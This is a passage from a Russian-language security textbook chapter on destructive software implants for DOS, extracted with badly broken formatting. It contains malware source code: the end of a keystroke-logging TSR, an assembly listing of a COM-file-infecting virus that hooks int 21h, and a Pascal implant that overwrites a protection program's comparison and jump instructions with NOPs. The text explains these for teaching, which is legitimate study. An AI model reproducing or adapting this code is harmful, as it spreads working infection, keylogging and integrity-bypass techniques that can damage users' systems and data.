ВУЗ: Не указан

Категория: Не указан

Дисциплина: Не указана

Добавлен: 10.06.2021

Просмотров: 3619

Скачиваний: 3

ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.
background image

Разрушающие

 

программные

 

средства

     

251

 

 MsDos(R); 
 
 DOSSeg := R.ES; 
 DOSOfs := R.BX; 
end; 
 
begin 
 InitTSR; 
 
 CBuf := 0; 
 FillChar(KBuf,SizeOf(KBuf),0); 
 
 WaitBuf := 5; { 

Задержка

 (

сек

перед

 

отправкой

 

буфера

 

в

 

файл

.} 

 NeedPop := False; 
 Tick    := 0; 
 
 GetIntVec($9,@Old9h); 
 SetIntVec($9,@New9h); 
 SetIntVec($28,@Int28TSR); 

SetIntVec($1C,@RunTSR); 
 Keep(0); 
end. 

Перехват

 

и

 

обработка

 

файловых

 

операций

 

Программное

 

средство

 

защиты

 

информации

  (

ПСЗИ

производит

 

некоторые

 

файло

-

вые

 

операции

Для

 

этого

 

открывается

 

файл

часть

 

его

 

или

 

весь

 

файл

 

считывается

 

в

 

буфер

 

оперативной

 

памяти

обрабатывается

 

и

 

затем

 

записывается

 

в

 

файл

 

с

 

прежним

 

или

 

новым

 

именем

Активизирующим

 

событием

 

в

 

данном

 

случае

 

является

как

 

правило

открытие

 

файла

 

(

int

 

21h

функция

 

3Dh

), 

либо

 

его

 

закрытие

Таким

 

образом

закладка

 

порождает

 

в

 

системе

 “

исходный

 

файл

 — 

ПСЗИ

 — 

выходной

 

файл

” 

новые

 

связи

включая

 

в

 

них

 

свои

 

операции

 

и

 

массивы

 

данных

Рассмотрим

 

механизм

 

работы

 

закладки

 

для

 DOS, 

которая

 

встраивается

 

в

 

цепочку

 

прерывания

 

int

 

21h

 

для

 

следующих

 

функций

 

Открытие

 

файла

 (

функция

 

3Dh

). 

Закладка

 

отфильтровывает

 

нужные

 

имена

 

или

 

де

-

скрипторы

 

файлов

 

Чтение

 

из

 

файла

 (

функция

 

3Fh

). 

Закладка

 

выполняет

 

прерывание

 

по

 

старому

 

адресу

 

указателя

затем

 

сохраняет

 

считанный

 

буфер

 

в

 

собственный

обычно

 

скрытый

 

файл

либо

 

исправляет

 

в

 

буфере

 

некоторые

 

байты

 

файла

кроме

 

того

 

возможно

 

влияние

 

на

 

результаты

 

операции

 

чтения

Данные

 

действия

 

особенно

 

опасны

 

для

 

программ

 

под

-

тверждения

 

подлинности

 

электронных

 

документов

 (

электронная

 

подпись

). 


background image

252

     

Глава

 14. 

Методы

 

и

 

средства

 

разрушения

 

информации

 

 

 

Запись

 

в

 

файл

 (

функция

 

40h

). 

Закладка

 

редактирует

 

нужным

 

образом

 

буфер

 

в

 

опе

-

ративной

 

памяти

либо

 

сохраняет

 

файл

 

или

 

часть

 

его

 

в

 

скрытую

 

область

а

 

затем

 

вы

-

полняет

 

старое

 

прерывание

в

 

результате

 

чего

 

записывается

 

файл

 

с

 

измененным

 

со

-

держанием

либо

 

каким

-

то

 

образом

 

дублированный

 

в

 

скрытой

 

области

Закладки

 

та

-

кого

 

типа

 

могут

 

навязывать

 

истинность

 

электронной

 

подписи

 

даже

 

тогда

когда

 

файл

 

был

 

изменен

В

 

листинге

 14.2 

представлен

 

пример

 

вируса

использующего

 

механизм

 

перехвата

 

файловых

 

операция

 

для

 

модификации

 

файлов

 

типа

 

COM

 

своим

 

кодом

Листинг

 14.2.

 

Пример

 

перехвата

 

файловых

  

операций

 

для

 

выполнения

 

несанкционированной

 

записи

 

в

 

файл

 

 .model tiny 
 .code 
 org 

100h 

start: 
 

push  si 

   

 push 

si 

 

 

mov 

es,bx     

 

mov 

di,2B0h   

 cli 

  

 

 

 

 

 

   

 cmpsb 

  

 jz 

loc_2 

  

 dec 

si 

  

 dec 

di 

Продолжение

 

листинга

 14.2

 

 mov 

cl,50h   rep 

movsb 

 

 

 mov 

si,21h*4 

 

 push 

si 

  

 

movs  word ptr es:[di],word ptr es:[si]   

 

movs  word ptr es:[di],word ptr es:[si]   

 pop 

di 

  

 mov 

al,2Bh   

 stosw 

   

 stosw 
loc_2: 
 pop 

di 

  

 lea 

si,[di+50h] 

 

 mov 

cx,sp 

  

 sub 

cx,si 

  

 push 

cs 

  


background image

Разрушающие

 

программные

 

средства

     

253

 

 pop 

es 

 rep 

movsb 

  

 retn 

   

новый

 

обработчик

 21-

го

 

прерывания

 

 cmp 

ah,3Ch  ; 

функция

 

создания

 

файла

 ? 

 jne 

loc_5 

 ; 

если

 

нет

 — 

на

 

выход

 

 int 

0C0h 

 ; 

если

 (2B0h+50h)/4 = 0C0h, 

т

.

е

адрес

 

 

 

 

 

старого

 

обработчика

 int 21h 

 push 

ax 

  

 xchg 

bx,ax 

  

 

mov 

si,dx  

; si = dx 

 
locloop_3: 
 dec 

si 

 lodsw 
 cmp 

ax,'mo' 

 loopnz locloop_3 

 

 jnz 

loc_4 

  

 push 

ds 

  

 push 

cs 

  

 pop 

ds 

 mov 

ah,40h   

 mov 

cl,50h   

 cwd 

   

 int 

 

21h 

  

 pop 

ds 

Окончание

 

листинга

 14.2

 

loc_4: 
 pop 

ax 

  

 clc 
 retf 

loc_5: 
 db 

0EAh 

  

 

int 20h  

 

 

 

 

 

 

end start 

Разрушение

 

программы

 

защиты

 

и

 

схем

 

контроля

 

Допустим

что

 

злоумышленнику

 

известна

 

интересующая

 

его

 

программа

 

с

 

точно

-

стью

 

до

 

команд

 

реализации

 

на

 

конкретном

 

процессоре

Следовательно

возможно

 

смо

-


background image

254

     

Глава

 14. 

Методы

 

и

 

средства

 

разрушения

 

информации

 

 

делировать

 

процесс

 

ее

 

загрузки

 

и

 

выяснить

 

адреса

 

частей

 

программы

 

относительно

 

сегмента

 

оперативной

 

памяти

в

 

которой

 

она

 

загружается

Это

 

означает

что

 

возможно

 

произвольное

 

изменение

 

кода

 

программы

 

и

 

обеспечение

 

отклонения

 (

как

 

правило

негативного

 

характера

в

 

работе

 

прикладной

 

программы

Тогда

 

алгоритм

 

действия

 

закладки

 

может

 

быть

 

следующим

1.

 

Закладка

 

загружается

 

в

 

память

 

каким

-

либо

 

образом

2.

 

Закладка

 

осуществляет

 

перехват

  (

редактирование

 

цепочки

одного

 

или

 

нескольких

 

прерываний

 

прерывание

 DOS “

запуск

 

программ

 

и

 

загрузка

 

оверлеев

” (

int

 

21h

функция

 

4Bh

); 

 

прерывание

 BIOS “

считать

 

сектор

” (

int

 

13h

функция

 

02h

); 

 

прерывание

 

от

 

системного

 

таймера

 (

int

 

08h

). 

3.

 

По

 

одному

 

из

 

трех

 

событий

 

закладка

 

получает

 

управление

 

на

 

свой

 

код

 

и

 

далее

 

вы

-

полняет

 

следующие

 

операции

 

проверка

 

принадлежности

 

запущенной

 

программы

 

или

 

уже

 

работающей

 (

для

 

тай

-

мерного

 

прерывания

к

 

интересующим

 

программам

 

определение

 

сегмента

в

 

который

 

загружена

 

программа

 

запись

 

относительно

 

определенного

 

сегмента

 

загрузки

 

некоторых

 

значений

 

в

 

опе

-

ративную

 

память

 

так

чтобы

 

отключить

 

схемы

 

контроля

 

и

  (

или

исправить

 

про

-

грамму

 

нужным

 

образом

Принципиальная

 

возможность

 

исправления

 

кода

 

следует

 

из

 

того

что

 

вывод

 

о

 

пра

-

вильности

 

работы

 

программы

 

делается

 

на

 

основе

 

операций

 

сравнения

 

в

 

арифметико

-

логическом

 

устройстве

 

процессора

Сравнение

 

результатов

 

работы

 

выполняется

 

командой

 

CMP

а

 

результат

 

сравнения

 

изменяет

 

один

 

или

 

несколько

 

бит

 

регистра

 

флагов

Следовательно

того

 

же

 

результата

 

можно

 

добиться

изменив

 

эти

 

биты

 

в

 

одной

 

из

 

команд

 

работы

 

с

 

регистром

 

флагов

 

типа

 

CLD

CLS

LAHF

 

и

 

т

.

д

Наконец

возможен

 

случай

когда

 

содержательный

 

код

 

программы

 

защиты

 

вместе

 

со

 

схемой

 

контроля

 

будет

 

удален

 

из

 

памяти

 

полностью

 

и

 

все

 

последующие

 

операции

 

будут

 

выполнены

 

без

 

влияния

 

программы

 

защиты

Таким

 

образом

анализируя

 

в

 

данном

 

случае

 

действия

 

закладки

необходимо

 

считать

 

возможным

 

любые

 

искажения

 

кода

 

программ

Основным

 

способом

 

активизации

 

разрушающих

 

закладок

 

является

 

запуск

 

ассоции

-

рованных

 

с

 

ними

 

программ

При

 

этом

 

закладка

 

получает

 

управление

 

первой

 

и

 

выполня

-

ет

 

какие

-

либо

 

действия

  (

изменение

 

адресов

 

прерывания

 

на

 

собственные

 

обработчики

исправление

 

в

 

коде

 

программ

 

защиты

 

и

 

т

.

д

.). 

Листинг

 14.3.

 

Пример

 

закладки

разрушающей

 

схему

 

контроля

 

{$M 1024,0,0} 
{$I-} 
uses 


background image

Разрушающие

 

программные

 

средства

     

255

 

  Dos; 
const 
  CMPSeg=$2E7F; { 

Адреса

 

ячеек

подлежащих

 

модификации

, } 

  CMPOfs=12;    { 

указанные

 

относительно

 PSP            } 

  JMPSeg=$2EA4; 
  JMPOfs=2; 
var 
  DOSSeg, DOSOfs, Psp:word; 
  OldInt8h:pointer; 
procedure Int8h; interrupt; 
begin 
  if (Psp=PrefixSeg) then     
  begin                       
    if(Mem[DOSSeg:DOSOfs]=0) then 
    asm 
      mov ah, 62h 
      int 21h 
      mov Psp, bx 
    end; 
  end 
  else 
  begin 
    MemW[CMPSeg+Psp:CMPOfs]:=$9090; { 

Запись

 NOP 

вместо

 CMP }   

    MemW[JMPSeg+Psp:JMPOfs]:=$9090; { 

Запись

 NOP 

вместо

 JMP }    

Окончание

 

листинга

 14.3

 

  end; 
  asm    
    pushf   
    call dword ptr OldInt8h      
  end;                          
end; 
begin 
  asm 
    mov ah, 34h 
    int 21h 
    mov DOSOfs, bx 
    mov DOSSeg, es 
  end; 
  Psp:=PrefixSeg; 
  GetIntVec(8, OldInt8h); 
  SwapVectors;